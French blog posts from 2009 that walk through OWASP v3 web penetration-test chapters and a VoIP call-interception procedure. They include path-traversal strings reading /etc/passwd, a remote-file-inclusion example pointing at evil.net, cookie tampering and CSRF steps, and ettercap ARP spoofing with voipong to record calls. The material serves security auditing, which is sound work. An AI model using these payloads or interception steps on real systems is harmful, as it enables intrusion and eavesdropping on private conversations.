mercredi 25 février 2009

[STANDARD] OWASP - Episode 6

Ce nouvel épisode est la suite de notre étude de la nouvelle version de la norme OWASP. Le but est de pratiquer les tests d'intrusion de manière méthodologique et aussi, de donner de nouvelles idées. Particulièrement, ce sixième épisode s'attache aux spécificités métiers de l'application cible.


1 - Avant-propos

Le sixième épisode que nous traitons ici représente le cinquième chapitre de tests actifs après un premier chapitre de découverte. Dans la norme OWASP v3, il s'agit du chapitre 4.7 relatif aux tests de l'application WEB cible et notamment les fonctions métiers qui peuvent être sujettes à des problèmes de sécurité.


2 - Phase de tests actifs 5 - tests sur les fonctionnalités métiers

2.1 - BL-001 : Tests des fonctionnalités métiers

Puisque chaque application est différentes, il n'existe pas de tests particuliers que nous pouvons fournir de manière certaine. Cependant, une démarche précise est proposée pour couvrir au mieux l'application et tenter de trouver les failles de sécurité éventuelles.

1/ Comprendre l'application :

Il s'agit ici de connaître les possibilités offertes par l'application. Pour cela, l'auditeur pourra s'aider de la documentation disponible (test en boîte blanche) et de sa propre exploration de l'application en navigant sur les différentes pages. Il est important de noter à cette étape :
  • les limites rencontrées (que nous essaierons ensuite de contourner) ;
  • les différentes manières de réaliser certaines actions (notamment les actions les plus importantes).
Cette première étape nous fournit un aperçu de l'application et nos premières pistes.

2/ Etablir les scénario de tests :

Nous prenons ici en compte tous les cas possibles que nous devrons croiser entre eux pour être exhaustif. Les cas en questions sont :
  • les fonctionnalités principales (recherche d'un produit, commande d'un produit, ...) ;
  • le circuit de validation d'une action (ex : de la commande à la validation d'un achat) ;
  • les différents rôles intervenant sur l'application (e.g. de l'administrateur au directeur) ;
  • les différents services (service IT, marketing, ...) ;
  • les droits et privilèges accordés à chacun ... et à vérifier.
Ces cinq éléments doivent nous permettre de constituer un tableau avec l'ensemble des actions permises pour chaque niveau d'utilisateur.

3/ Préparation des tests

Suite à l'étape précédente, nous devons déterminer ici le ou les test(s) à réaliser en conséquence pour nous assurer que l'application est correctement cloisonnée par type d'intervenant et par action.

Par conséquent, à l'issue de cette troisième étape, un nouveau tableau sera créé contenant les tests résultants de l'étape précédente. Nous nous appuierons donc largement sur le précédent tableau.

4/ Obtention des pré-requis

Maintenant que les tests à réaliser sont connus, il est temps de demander au client les ressources nécessaires à leur réalisation. La plupart du temps, il s'agira de comptes avec des niveaux de privilèges différents. Aussi, il peut s'agir d'URL d'administration pour les comptes les plus privilégiés. Il est préférable de commencer avec un compte standard et de demander les ressources au fur et à mesure pour ne pas influencer les tests.
Par exemple, est-il possible de trouver et d'accéder à l'interface d'administration avec un compte standard sans information préalable ?

5/ Exécution des tests

L'exécution des tests issus du tableau déterminé en 3/ considérera la plupart du temps :
  • l'analyse des requêtes HTTP ;
  • les protections apportées (ou non) aux flux et données (e.g . chiffrement) ;
  • la récupération d'erreur lorsque nous testons des valeurs limites ou hors range (ex : valeur négative ou très importante pour une somme) ;
  • la recherche d'information cachée dans le traitement des actions;
  • la modification de données en cours d'action ;
  • le contournement d'une ou plusieurs étapes de validation ;
  • etc.
A vous de jouer !


La suite au prochain épisode.

mardi 24 février 2009

[STANDARD] OWASP - Episode 5

Ce post traite la quatrième phase des tests actifs. Ils sont relatifs à l'autorisation sur les ressources (utilisateurs, fichiers, données, etc.) gérées par l'application WEB testée. Le but des attaques présentées est de trouver l'accès à des ressources protégées ou de réaliser une escalade de privilèges.


1 - Avant-propos

Nous continuons notre aventure à la découverte de la norme OWASP v3 dans ce cinquième épisode. De nom originel "Authorization Testing", il s'agit du chapitre 4.6 de la norme. A noter que cette partie aborde plus des points d'attaque que des attaques précises. En effet, une escalade de privilège suit rarement un acheminement précis sauf dans le cas d'un exploit existant qui entre dans le cadre d'une vulnérabilité trouvée.


2 - Phase de tests actifs 4 - tests sur les autorisations

2.1 - AZ-001 : Traverse de répertoires (ou "Path Traversal")

Nous allons mener cette attaque en deux étapes :

1/ Rechercher les points susceptibles d'être vulnérable à une telle attaque : URL, cookie, et autres points contenant ou acceptant un point d'entrée (généralement, avec le signe "=").
2/ Tester l'attaque dont voici quelques exemples :
  • dot dot slash attack. Ex : ../../../etc/passwd ;
  • injecter une URL malicieuse dans une URL de l'application. Ex : http://www.cible.php?page=http://evil.net/script_malicieux
  • tenter de dévoiler le code source d'une partie de l'application. Ex : http://www.cible.com/function.cgi?file=trouverez-vous-mon-code-source.cgi.
Dans le cas où un filtrage des caractères est mis en place, il est bon de savoir que :
  • ../ s'écrit aussi %2e%2e%2f ou encore ..%c0%af
  • ..\ s'écrit aussi %2e%2e%5c ou %252e%252e%255c ou encore ..%c1%9c
Dans le cadre d'un test en boîte grise, la méthodologie est la même (suivre les deux mêmes étapes). La différence est que les points d'entrée devront être cherchés dans les fonctions spécifiques comme par exemple :
  • include() en PHP ;
  • java.io.file() en JSP.

2.2 - AZ-002 : Contournement des autoriations

Pour cette partie, il n'existe pas de manière précise d'opérer. Cependant, répondre aux questions suivante en effectuant les tests associés permettra à de savoir si les autorisations appliquées à l'application peuvent être contournées ... quand elles existent.
  • Peut-on accéder à la ressource non autorisée sans être connecté ? Une fois déconnecté ?
  • Est-il possible d'accéder à une ressource administrative avec un compte standard ?
  • Dans les requêtes HTTP, est-il possible de modifier certains paramètres pour obtenir de nouveaux droits ?
  • Tester si un utilisateur qui ne devrait pas avoir accès à une certaine ressource ne peut effectivement pas y être autorisé.

2.3 - AZ-003 : Escalade de privilèges

Tout d'abord, il est important de savoir qu'il existe deux types d'escalade de privilège afin que les tests soient exhaustifs :
  • L'escalade horizontale : elle consiste à accéder à une ressource d'un autre utilisateur qui a les mêmes droits que nous (ex : le compte mail d'un autre utilisateur) ;
  • L'escalade verticale : elle consiste à accéder à des ressources requérant des droits supérieurs (ex : des droits administrateurs alors que nous n'avons qu'une compte utilisateur standard).
Les tests se font de la manière suivante :
  • commencer par trouver les champs susceptibles de permettre une escalade de privilèges (ex : un champ caché contenant un ID ou un niveau d'autorisation) ;
  • modifier les valeurs repérées et voir le comportement de l'application. Est-ce que la modification nous fournit l'accès à de nouvelles ressources ? A des ressources demandant normalement un accès privilégié ?
Pour que ce soit plus clair, il suffit d'imaginer par exemple que le niveau d'authentification est fourni dans le cookie : Session-ID=3-adebadbcaf85cc43+adfg32+56defc, le premier chiffre avant le tiret (ici, 3) pourrait très bien représenter le niveau d'authentification. Essayer donc avec "1" ou "5".


La suite au prochain épisode ...

lundi 23 février 2009

[STANDARD] OWASP - Episode 4

Nous abordons ici la troisième phase des tests actifs. Ils concernent la gestion des sessions à travers les cookies. De nombreux paramètres peuvent être testés. Etant donné qu'une mauvaise implémentation peut permettre l'obtention d'une session à un attaquant, nous voyons de suite l'intérêt de ce sujet.


1 - Avant-propos

Ce post est le quatrième d'une série de dix. Chaque "épisode" aborde un chapitre de la norme OWASP, version 3. Le but est de mener le test d'intrusion d'une application WEB méthodologiquement. Le post présent fait référence au chapitre 4.5 de la norme, nommé "Session Management". Pour la partie théorique, voir l'article sur Wikipedia en anglais très intéressant. Pour le côté pratique, il est recommandé d'effectuer tous ces tests à l'aide d'un proxy local pour intercepter et rejouer les requêtes HTTP.


2 - Phase de tests actifs 3 : tests sur la gestion des sessions à travers les cookies

2.1 - SM-001 : Structure des cookies

Ce premier point est en fait une prise d'information sur la façon dont sont créés et utilisés les cookies. Mieux comprendre le fonctionnement permet au moins de mieux préparer les attaques qui suivent et au mieux de trouver de premières vulnérabilités.

1/ Ouvrir un certain nombre de sessions faisant intervenir les cookies à analyser (NB : il est possible de s'aider d'un outil comme Cookie Digger pour les étapes qui suivent).
  • Combien de cookies sont générés pour ouvrir une session ? Quand ? Comment ? Sont-ils modifiés dans le cadre de la session ?
  • Les cookies eux-mêmes révèlent-ils des informations intéressantes ? (notamment le Session ID)
  • Les données contenues dans les cookies sont-elles chiffrées ? Si oui, l'algorithme utilisé est-il fiable ?
  • La génération des Sessions ID est-elle prédictible ou réellement aléatoire ?

2/ Reverse engineering des cookies.

  • Est-il possible de créer un cookie valide ?
  • Est-il possible de modifier un paramètre contenu dans le cookie ? (ex : Admin=No que l'on changerait en Admin=Yes).
  • Que se passe-t-il en cas de modification du cookie ? (suppression / remplacement ou ajout de caractères) ?
  • Quels est l'ensemble des caractères utilisés ?

3/ Manipulation des cookies.

  • L'ID est-il présent en clair ?
  • Sinon, peut-il être deviné ? (ex : algorithme trop simple)
  • Sinon, est-il résistant aux attaques de type Brute-Force ? (NB : cf. Cookie Digger)

2.2 - SM-002 : Les attributs des cookies

Les cookies les plus critiques doivent comporter un certain nombre de flags et ceux-ci doivent être correctement configurés :
  • Le flag secure (impose la transmission via un tunnel chiffré comme SSL) ;
  • Le flag HTTP-Only (pour se prémunir contre certaines attaques de type XSS) ;
  • Le flag Domain doit être présent et le plus précis possible ;
  • De même pour le flag Path (i.e. différent de "/") ;
  • De même pour le flag expires doit être configuré pour éviter le rejeu.


2.3 - SM-003 : Fixation des cookies

Admettons qu'un même cookie puisse être réutilisé pour ouvrir une session, le récupérer d'une manière ou d'une autre donne un accès, voir l'accès d'un autre utilisateur.

  • Il suffit de générer un cookie via une requête GET sur le site cible.
  • Ensuite, on réutilise ce cookie avec une requête POST.
Par exemple, faites un GET sur le site blogspot.com :

telnet www.blogspot.com 80
GET / HTTP/1.0

Ces opérations peuvent être effectuées via un proxy local (Burp, Paros, Webscarab, ...).


2.4 - SM-004 : Exposition des variables (cookie, session-ID, ...)

1/ Tenter de se connecter via un session HTTP. Les cookies sont-ils systématiquement générés via un protocole chiffré ? (e. g. HTTPS). La partie authentifiante est-elle renouvelée à chaque authentification ? Sinon, il y a un risque de rejeu...

2/ La version 1.1 du protocole HTTP est-elle implémentée ? Elle permet l'interprétation de l'attribut cache avec l'argument no-cache évite la réutilisation du cookie (cf. image ci-dessus).

3/ La génération des cookies se fait-elle à travers la méthode POST ? Cette dernière est moins vulnérables que la méthode GET.


2.5 - SM-005 : Attaque CSRF

Ce post n'a pas pour ut d'expliquer cette attaque en détail mais le lecteur curieux trouvera des informations sur le site Wikipedia de nouveau.
Le test peut être mener en cinq étapes :

1/ Trouver une URL valide qui lance l'action souhaitée (ex : www.cible.com/administrative_task) ;
2/ Créer une page HTML contenant cette URL (lien HTTP, image, ...) ;
3/ Assurez-vous que l'utilisateur est actuellement loggé à l'application (et donc que sa session est ouverte) ;
4 / Trouvez un moyen de faire cliquer l'utilisateur sur le lien (1/) présent sur votre page (2/) ;
5/ Vérifier que la commande a bien été exécutée.

Le but est donc que la commande que vous souhaitez exécuter le soit par l'utilisateur lui-même avec sa session quand vous n'avez pas les accès nécessaires.


La suite au prochain épisode ...

dimanche 1 février 2009

[PENTESTING] VoIP Hacking

La VoIP est depuis quelques années déjà une partie intégrante du SI. Elle est considérée comme un point sensible car les conversations permettent de révéler des informations importantes et surtout, peuvent porter à la vie privée des employés. Nous allons donc voir ici, d'un point de vue technique, quelle est la manière de récupérer des conversations.


1 - Avant-propos

Il est important de noter que le cas présenté ici est simple. En effet, nous considérons que tous les composants de notre attaque (passerelle VoIP + machines victimes + machine d'audit) sont dans le même réseaux ou dans des réseaux non cloisonnés.
Aussi, les flux ne sont pas chiffrés et l'authentification inexistante. Cependant, c'est un cas tout à fait réaliste dans le sens où c'est ce que nous pourrions trouver dans une entreprise qui a laissé les paramétrages par défaut.


2 - Localisation des éléments clés

Notre interception de trafic repose sur le sniff entre la passerelle VoIP et le routeur le plus proche de la machine d'audit (ici). Ensuite, nous devons accompagner ce sniff par une attaque de type Man-in-the-Middle. Nous devrions alors récupérer un tas de choses intéressantes...

2.1 - Localisation du routeur le plus proche

Nous effectuons tout simplement un traceroute pour trouver le routeur en question (ce que nous pourrons vérifier par des moyens simples (ifconfig / requête SNMP / ...) :

L'adresse de notre routeur est donc : 10.xxx.yyy.2.

2.2 - Localisation de notre passerelle VoIP

Nous utilisons l'outil smap qui permet de trouver les éléments actifs sur le port 5060 (SIP).

smap 10.xxx.zzz.0/24

Nous détectons ainsi la passerelle comme le montre le screenshot suivant :

L'adresse de notre passerelle VoIP est donc : 10.xxx.zzz.130.

Pour vérification et avoir plus d'information sur ma machine repérée, nous lançons smap avec l'option -o :

smap -o 10.xxx.zzz.130


3 - Interception du trafic

Nous mettons en œuvre cette fois l'attaque Man-in-the-Middle à l'aide de l'outil Ettercap. Puisque cette attaque est bien connue et déjà expliquée sur ce blog, nous n'entrerons pas dans les détails ici. Sinon, voir [post, point 3.2] [wikipedia].

Nous lançons la commande :

ettercap -Tqi eth0 -M arp /10.xxx.zzz.130/ /10.xxx.yyy.2/


4 - Capture et enregistrement des conversations

Pour réussir cette dernière étape, nous utilisons deux outils disponibles notamment sur la backtrack 3 :
  • voipong
  • voipctl
4.1 - Un peu de configuration

Pour donner l'adresse du réseau audité, aller dans le fichier de configuration voipongnets.

cd /usr/local/etc/voipong
vi voipongnets

Vous trouverez seulement deux lignes. Ici, notamment sur la deuxième ligne, mettez le sous réseau audité. Si ça ne marche pas, faites de même sur la première ligne.


4.2 - Lancement des outils

Tout simplement, nous lançons voipong ...


... puis voipctl


4.3 - Écoutez !

Il ne vous reste plus qu'à récupérer les fichiers audio enregistrés (voir le fichier de configuration de voipong pour connaître le répertoire de destination) et à lancer votre lecteur audio préféré.


Have fun! ;)
Locations of visitors to this page